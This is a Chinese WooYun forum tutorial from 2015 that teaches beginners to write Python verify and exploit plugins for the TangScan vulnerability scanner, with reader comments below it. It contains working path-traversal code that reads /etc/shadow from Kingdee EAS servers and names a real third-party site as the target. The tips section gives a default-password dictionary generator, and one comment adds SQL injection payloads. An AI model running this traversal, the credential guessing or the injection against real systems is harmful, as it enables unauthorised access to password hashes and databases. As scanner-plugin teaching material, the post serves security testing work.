当前位置:WooYun(白帽子技术社区) >> tangscan >> TangScan新手插件编写指南(零基础也可以写插件)

TangScan新手插件编写指南(零基础也可以写插件)

RedFree (‮11:11 11-11-1112 |※(器杀制自) | 2015-07-10 13:02

0x00 从哪里开始
    TangScan首页:http://www.tangscan.com/ 官方已经提供了详尽文档说明:
1.jpg
2.jpg
    如果您之前使用Python写过代码,那后面的内容基本上您也不用看了,可绕道。如果你是一名新手,以前没有/很少使用Python去写代码,那么就跟我一起来体验下TangScan的插件编写之旅吧!

Step1:配置开发环境
    Python的开发环境配置您可以参考:http://zone.wooyun.org/content/19480 当然对于TangScan插件的编写来说,pyqt并不是必须的。如果您觉得Eric并不满意,您可以选择使用其它的Python IDE来完成插件的编写工作。

Step2:导入插件包
    GitHub地址:https://github.com/wooyun/TangScan 也可以直接下载:https://github.com/WooYun/TangScan/archive/master.zip
    下载完成后解压到任意目录:
3.jpg
    打开Eric》项目》新建:输入项目名称、选择项目文件夹为刚才解压的TangScan目录,提示是否将已有文件添加到项目中(是):
4.jpg
    双击poc_example.py,可以看到,插件包中已经提供了一个模板,模板大致分为三块:数据定义、verify函数、exploit函数。

0x01 Hello World
    写代码时请注意下面这个细节!参见:http://tangscan.readthedocs.org/zh_CN/latest/poc/tutorial.html#poc
5.jpg
6.jpg
    其它部分不动,在verify中写自己的代码;F2运行,为什么没有打印出Hello World!呢?
7.jpg
    可以看到,虽然没有打印出Hello World!,但是同时给出了一些提示:要输入某些参数。这些参数是在上面的数据定义部分定义的:
8.jpg
    参见TangScan的说明文档:http://tangscan.readthedocs.org/zh_CN/latest/poc/tutorial.html#id9 最终打印出Hello World!。
9.jpg
    --debug参数用于显示调试信息,插件包内置的一个打印调试信息的函数self.print_debug()。
10.jpg

0x02 写出自己的POC
    至目前为止,经过上面的学习,您已经可以打印Hello World!了。万事开头难,只要迈出了这一步,后面的学习就可以非常得心应手了。
    拿乌云上的[link href="WooYun: 金蝶EAS任意文件读取"]WooYun: 金蝶EAS任意文件读取[/link]这个例子来说吧;要验证某个站点是不是存在这样一个漏洞,首先最其本的条件就是我们要去请求并获得响应结果。Python内置的模块urllib、urllib2或者是httplib模块都可以满足要求。但是为了提高工作效率我没有选择使用这几个模块,我使用了一个强大的第三方模块:requests。如果你觉得安装一些第三方模块比较麻烦,请不用担心;TangScan的插件包中已经内置了一些第三方的模块,requests是可以直接使用的,使用from thirdparty import requests可以直接导入requests模块。
11.jpg
    有关requests模块的使用方法请移步这里(下面我会举几个常用的例子):http://requests-docs-cn.readthedocs.org/zh_CN/latest/index.html  如果你觉得http://requests-docs-cn.readthedocs.org/zh_CN/latest/index.html这个里面的内容太多,短时间消化不了,没有关系,这个文档里的东西比较基础:链接: http://pan.baidu.com/s/1eQyFrxw 密码: uh4y
    针对[link href="WooYun: 金蝶EAS任意文件读取"]WooYun: 金蝶EAS任意文件读取[/link]我找到了一个实际案例:http://fjhw.com.cn/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00
12.jpg
    代码可以这样写(verify注意事项!以下代码只是为了举例,实际写verify中代码的时候请不要带有攻击性!):
13.jpg
def verify(self):
        exp_url = ("{domain}/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F\
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00".format(domain=self.option.url))
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            code = response.status_code
            if code == 200 and (response.text.find('root:$') != -1):
                self.print_debug('存在任意文件读取漏洞!')
        except Exception, e:
            self.result.error = str(e)
            return

14.jpg
    try...except可以帮我们获取到异常信息。一些信息定义的方法可以参见这里:http://tangscan.readthedocs.org/zh_CN/latest/poc/detail.html#info  http://tangscan.readthedocs.org/zh_CN/latest/poc/detail.html#register-option  http://tangscan.readthedocs.org/zh_CN/latest/poc/detail.html#register-result
    使用下面的代码,可以按照TangScan的格式来输出检测信息:
15.jpg
16.jpg
def verify(self):
        mark = 0
        exp_url = ("{domain}/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F\
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00".format(domain=self.option.url))
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            code = response.status_code
            if code == 200 and (response.text.find('root:$') != -1):
                mark = 1
        except Exception, e:
            self.result.error = str(e)
            return
    
        if mark == 0:
            self.result.status = False
            return
    
        self.result.status = True
        self.result.data.messege.content = '存在任意文件读取漏洞!'
        self.result.description = "目标 {url} {content}".format(
            url=self.option.url,
            content=self.result.data.messege.content
        )

    当然你可以把代码写的更简洁一些。至此,一个漏洞的检测流程就完成了,接下来您所需要做的工作就是完善漏洞信息的定义以及exploit的编写。
17.jpg
18.jpg

0x03 写出自己的Exploit
    简而言之,Exploit本身带有攻击意图,仅代码上来看的话,和Verify并没有太大的区别。将上面的例子改写为Exploit,可以这样做:
19.jpg
20.jpg
def exploit(self):
        mark = 0
        exp_url = ("{domain}/portal/logoImgServlet?language=ch&dataCenter=&insId=insId&type=..%2F..%2F..%2F..%2F\
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow%00".format(domain=self.option.url))
        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            code = response.status_code
            if code == 200 and (response.text.find('root:$') != -1):
                mark = 1
                self.result.data.messege.content = response.content
        except Exception, e:
            self.result.error = str(e)
            return
    
        if mark == 0:
            self.result.status = False
            return
    
        self.result.status = True
        self.result.description = "攻击目标 {url} 获取到的信息:\n {content}".format(
            url=self.option.url,
            content=self.result.data.messege.content
        )


0x04 一些Tips
1、Md5加密 & Base64编解码
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import md5
from base64 import b64encode,b64decode
print(md5.md5('123456').hexdigest())
print(b64encode('123456'))
print(b64decode('MTIzNDU2'))
21.jpg
2、字典生成
#! /usr/bin/env python
# -*- coding: utf-8 -*-
  
users = ['tomcat', 'admin', 'test']
passwds = ['tomcat', 'admin', 'administrator', 'system','123', '1234', '12345', '123456', 'test', 'qazwsx', 'qwert'\
            , 'qwert', 'qwerty', '12345678', '000000', '6666', '666666', '8888', '888888']
for user in users:
    for passwd in passwds:
        print(user + ':' + passwd)
22.jpg
3、字符串游戏
Python 字符串操作(string替换、删除、截取、复制、连接、比较、查找、包含、大小写转换、分割等)
http://www.cnblogs.com/huangcong/archive/2011/08/29/2158268.html
4、re模块的一些玩法介绍
Python之re模块 —— 正则表达式操作
http://www.cnblogs.com/PythonHome/archive/2011/11/19/2255459.html
python 详解re模块
http://blog.sina.com.cn/s/blog_a15aa56901017liq.html
5、更多好玩的东西等待你的挖掘中...

[b]0x05 必须要了解的插件编写技巧(想不通过审核都难)/b]
    一款好的插件,其具备的基本条件应有:
1、代码简洁、流程清晰
2、异常处理(比如超时、网络错误等不可预料的错误信息最好也应有所显示*^_^*)
3、适用范围广(比如上面那个任意文件读取的漏洞,假如权限不够,读不了shadow呢?你的POC会去读哪个文件作为漏洞是否存在的证明?)
4、信息完善(插件上面定义的信息一定要完善,漏洞名称、描述、案例等等信息都要如实填写)
5、经的住实战的考验(插件提交前最好找几个实际目标测试一下效果*^_^*)
6、尽量去写热门/通用漏洞的插件(因为涉及到收益的关系,一个通用漏洞的插件可以为你带来不菲的收益。所以,不要让别人抢先提交喽!)
.....

遇到问题可加群,TangScan插件交流群:474469225 集思广益,一块搞起。

分享到:
  1. 1#
    回复此人 感谢
    小威 | 2015-07-10 13:33

    赞一个

  2. 2#
    回复此人 感谢
    jeary ((:‮?办么怎,了多越来越法方象抽的我)) | 2015-07-10 13:52

    这么长,新手看一眼就跑了。。
    其实啊,TangScan有提供一个代码模版,下载回来,然后在Verify和exploit写代码即可.
    如果不会写代码,但能看懂一点点,那么复制RedFree写好的Verify和exploit,然后expdb或者wooyun找一个通用,修改两三行即可~~

  3. 3#
    回复此人 感谢
    chock (lost) | 2015-07-10 14:05

    必须赞

  4. 4#
    回复此人 感谢
    小胖子 (z7y首席代言人,园长的表哥...) | 2015-07-10 14:14

    有模板的啊,改最后俩就可以了。前面的信息对号入座就好了。

  5. 5#
    回复此人 感谢
    Vigoss_Z (http://i-security.cc) | 2015-07-10 15:26

    0基础5分钟速成版:
    1.python官网下载python,一路点下去,环境变量也好了.
    2.github下载tangscan,解压到任意目录.
    3.把里面的demo,eyou4文件复制,右键idle打开, self.info = 那块,主要填漏洞来自哪,插件编写作者,填自己名字,不然怎么装比.插件类型,inject,还是xss,修改对应信息,ok
    3.1下面的verify,验证模块,url改成你自己发送的payload就行(如get型注入),re正则匹配,填对应的正则表达式就ok.url=index.php?id=1' re_result=re.findall('You have an error',xx.content)
    exploit相同,修改url,和正则就ok .'and updatexml(1,concat(0x23,user(),0x23),1)%23
    re_result=re.findall('#(\s+)#',xx_content)
    ok

  6. 6#
    回复此人 感谢
    boooooom | 2015-07-10 15:49

    赞,
    我就想说:
    self.result.description 一定要有,这个信息一定要能够一眼就验证漏洞确实存在(漏洞具体地址,验证漏洞存在的明确信息)。比如说存在sql注入,如果能把数据库版本信息放在里面就好,或者是读文件,那就把读取的文件内容放在里面。

  7. 7#
    回复此人 感谢
    冰麒麟 | 2015-07-10 16:10

    那么问题来了,在哪里能下载到大杀器的破解版

  8. 8#
    回复此人 感谢
    he1renyagao (无) | 2015-07-11 08:15

    牛逼吊咋天

  9. 9#
    回复此人 感谢
    落叶_test | 2015-07-11 08:23

    貌似和Bugscan
    一样啊

  10. 10#
    回复此人 感谢
    Mr.R | 2015-07-11 14:13

    @落叶_test 赶脚比bugscan的插件复杂好多。 bugscan插件没那么麻烦。。

  11. 11#
    回复此人 感谢
    light (生于理想,死于欲望) | 2015-07-11 15:04

    好文一篇,先顶再赞
    其实小插件直接用sublime text或者notepad++编写就行,不需要IDE

    PS:话说我提交的插件咋还没审核呀 @xsser

  12. 12#
    回复此人 感谢
    sadn3s | 2015-07-11 16:55

    经典的文章,写的很详细。不过话说挖个洞还要编个程先?门槛是不是高了点?

  13. 13#
    回复此人 感谢
    浮萍 | 2015-07-13 08:57

    mark

  14. 14#
    回复此人 感谢
    Comer | 2015-07-13 09:07

    赞,留名

  15. 15#
    回复此人 感谢
    BeenQuiver | 2015-07-31 17:15

    mark

  16. 16#
    回复此人 感谢
    J0kER (姿势决定成败) | 2015-08-03 11:20

    @jeary

  17. 17#
    回复此人 感谢
    Coody (&_&) | 2015-08-03 15:48

    干的漂亮

  18. 18#
    回复此人 感谢
    Hxai11 (星辰将为你的眼,而风儿则为你的双手) | 2015-08-03 16:18

    马克,真是我们的福音

  19. 19#
    回复此人 感谢
    wefgod (求大牛指点) | 2015-08-03 17:02

    py很给力,哈哈,不过不会写

  20. 20#
    回复此人 感谢
    luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2015-08-04 15:56

  21. 21#
    回复此人 感谢
    wefgod (求大牛指点) | 2015-08-08 14:11

    今天终于有账号了

  22. 22#
    回复此人 感谢
    wefgod (求大牛指点) | 2015-08-10 18:24

    如果是需要登录才可以利用的呢?@RedFree

  23. 23# 感谢(1)
    回复此人 感谢
    啊L川 (我想起那天下午夕阳下的奔跑,那是我逝去的青春...) | 2015-09-15 11:41

    32个赞

  24. 24# 感谢(1)
    回复此人 感谢
    艾薇儿 | 2015-10-12 12:31

    @RedFree https请求报错 求解
    [error]: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)

  25. 25#
    回复此人 感谢
    nzk1912 | 2015-10-23 13:07

    写代码我的强项啊,请问一个POC大约值多少钱啊?我考虑下划算不~~

  26. 26#
    回复此人 感谢
    孔卡 (呼叫土豆,我是西红柿!) | 2015-12-01 16:16

    导入下来的文件头都是 #! /usr/bin/env python    明显我们的python是在win下 老报错啊  肿么解决?

  27. 27#
    回复此人 感谢
    孔卡 (呼叫土豆,我是西红柿!) | 2015-12-01 16:32

    eric 4都停止维护了 下了个6  结果就是各种报错啊  不能出个设置6的文章么

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录